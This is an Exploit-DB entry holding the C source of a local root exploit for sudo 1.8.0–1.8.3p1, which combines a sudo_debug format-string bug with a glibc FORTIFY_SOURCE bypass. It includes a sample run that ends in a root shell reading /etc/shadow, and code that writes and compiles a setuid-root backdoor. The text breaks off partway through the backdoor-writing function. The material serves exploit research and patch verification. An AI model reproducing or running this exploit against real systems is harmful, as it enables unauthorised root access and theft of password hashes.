Exploit-DB #25134
Description: sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation
Type: local
Platform: linux
Date: 2013-05-01
Author: aeon

Exploit:
/*
 death-star.c
 sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass
 by aeon - http://infosecabsurdity.wordpress.com/

 This PoC exploits:
 - CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow
 - CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string
 
 Tested on:
 - Fedora core 16 verne
 - glibc 2.14.90.14 release
 - sudo 1.8.1p2
 
 Notes:
 - This exploit actually turned out very reliable :-) 
 - You can make a cleaner version of this exploit if you smash sudo_debug function pointer
   or a libc function pointer so you dont write to disk. I wont be releasing that version :-)

 References and thanks too:
 - http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
 - http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
 - http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/
 - "A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt

[aeon@localhost tmp]$ gcc death-star.c -o death-star
[aeon@localhost tmp]$ ./death-star 
[+] Targeting release: 3.1.0-7.fc16.i686.PAE
[+] Found vuln glibc version: 2.14.90
[+] Found a vuln sudo version: 1.8.1
[+] Writing backdoor: e.c
[+] Compiling backdoor: e
[+] Writing SUDO_ASKPASS file: e.sh
[+] Press enter when ready...

< -------------- REMOVED -------------->

                           A�AF@F@F@F@F@' from LD_PRELOAD cannot be preloaded: ignored.
 %[PII_REDACTED]%21372736 %: settings: 
=
 %[PII_REDACTED]%21372736 %: settings: 
=
 %[PII_REDACTED]%21372736 %: sudo_mode[PII_REDACTED]
Sorry, try again.
Sorry, try again.
Sorry, try again.
%20$08n %*482$ %*2850$ %[PII_REDACTED]$: 3 incorrect password attempts
 %[PII_REDACTED]%21372736 %: policy plugin returns[PII_REDACTED]
[+] Getting root..!
[+] Cleaning system.
[+] Launching root shell!
sh-4.2# id; uname -a
uid=0(root) gid=1001(aeon) groups=0(root),1001(aeon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Linux localhost.localdomain 3.1.0-7.fc16.i686.PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linux
sh-4.2# head -n1 /etc/shadow
root:$6$YxDB.SNvtnqhtt.T$slIOJSl7Lz07PtDF23m1G0evZH4MXvpo1VNebUUasM/je2sP6FXi2Y/QE1Ntg.93jOtTQOfZ8k2e/HhT8XzXN/:15818:0:99999:7:::
sh-4.2#
*/

#include <sys/resource.h>
#include <sys/utsname.h>
#include <gnu/libc-version.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/wait.h>

#define OFFSET       65000
#define NUM_THREADS  0

/* files that we create on disk */
#define BACKDOOR     "e.c"
#define BD_COMPILED  "e"
#define SUDO_ASKPASS "e.sh"

extern char **environ;
struct utsname ver;

void *kill_sudo();
void *pop_shell();
void *set_env();
int is_glibc_vuln();
int is_sudo_vuln();
int write_backdoor();

/* hardcoded path to sudo */
const char sudo[] = "/usr/bin/sudo\0";
char s_version[20];

/* vuln versions of sudo */
char vuln_sudo_versions[4][20] = {
    {"1.8.0"},
    {"1.8.1"},
    {"1.8.2"},
    {"1.8.3"}
};

/* vuln versions of glibc */
char vuln_glibc_versions[4][20] = {
    {"2.14.90"},
};

int main(int argc, char *argv[])
{
    struct rlimit rara;
    int status;
    char ready;
    uname(&ver);
    printf("[+] Targeting release: %s\n", ver.release);
    if (is_glibc_vuln()){
        if(is_sudo_vuln()){
            if (write_backdoor()){
                printf("[+] Press enter when ready...");
                scanf("%c", &ready);
            }else{ exit(0); }
        }else{ exit(0); }
    }else{ exit(0); }

    // ulimited stack
    rara.rlim_max = rara.rlim_cur = -1;
    setrlimit(RLIMIT_STACK, &rara);

    pid_t pid;
    if((pid = fork()) < 0)
    {
        printf("[-] An error occurred while forking sudo\n");
        return -1;
    }
    else if(pid == 0){
        set_env();
        kill_sudo();
    }else{
        wait(&status);
        if (WIFEXITED(status)) {
            sleep(1);
            pop_shell();
        }
    }
}

int is_glibc_vuln(){
    int i, returnval = -1;
    for (i = 0; i < 4; i++){
        if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){
            printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version());
            returnval = 1;
        }
    }
    return returnval;
};

int is_sudo_vuln(){
    int i, returnval = -1;;
    FILE *fp;
    char path[20];
    char sudo_ver_cmd[50];
    snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo);
    fp = popen(sudo_ver_cmd, "r");

    if (fp == NULL) {
        printf("[-] Failed to get sudo's version\n[-]Exiting.." );
        exit(0);
    }
    fgets(path, 21, fp);
    memmove (s_version, path+13,5);
    for (i = 0; i < 4; i++){
        if (strcmp(s_version, vuln_sudo_versions[i]) == 0){
            printf("[+] Found a vuln sudo version: %s\n", s_version);
            returnval = 1;
        }
    }
    return returnval;
};

int write_backdoor(){
    int returnval = 1;
    char askpass[100], compile_bd[100];
    char bdcode[] = "#include <stdio.h>\r\n"
                    "#include <stdlib.h>\r\n"
                    "int main(int argc, char **argv){\r\n"
                    "    printf(\"[+] Getting root..!\\n\");\r\n"
                    "    setresuid(0,0,0);\r\n"
                    "    printf(\"[+] Cleaning system.\\n\");\r\n"
                    "    remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n"
                    "    printf(\"[+] Launching root shell!\\n\");\r\n"
                    "    system(\"/bin/sh\");\r\n"
                    "    exit(0);\r\n"
                    "}\r\n";

    FILE *fp = fopen(BACKDOOR,"wb");
    if (fp == NULL) {
        printf("[-] Failed to write backdoor on the target, check your permissions\n" );
        returnval = -1;
    }else{
        printf("[+] Writing backdoo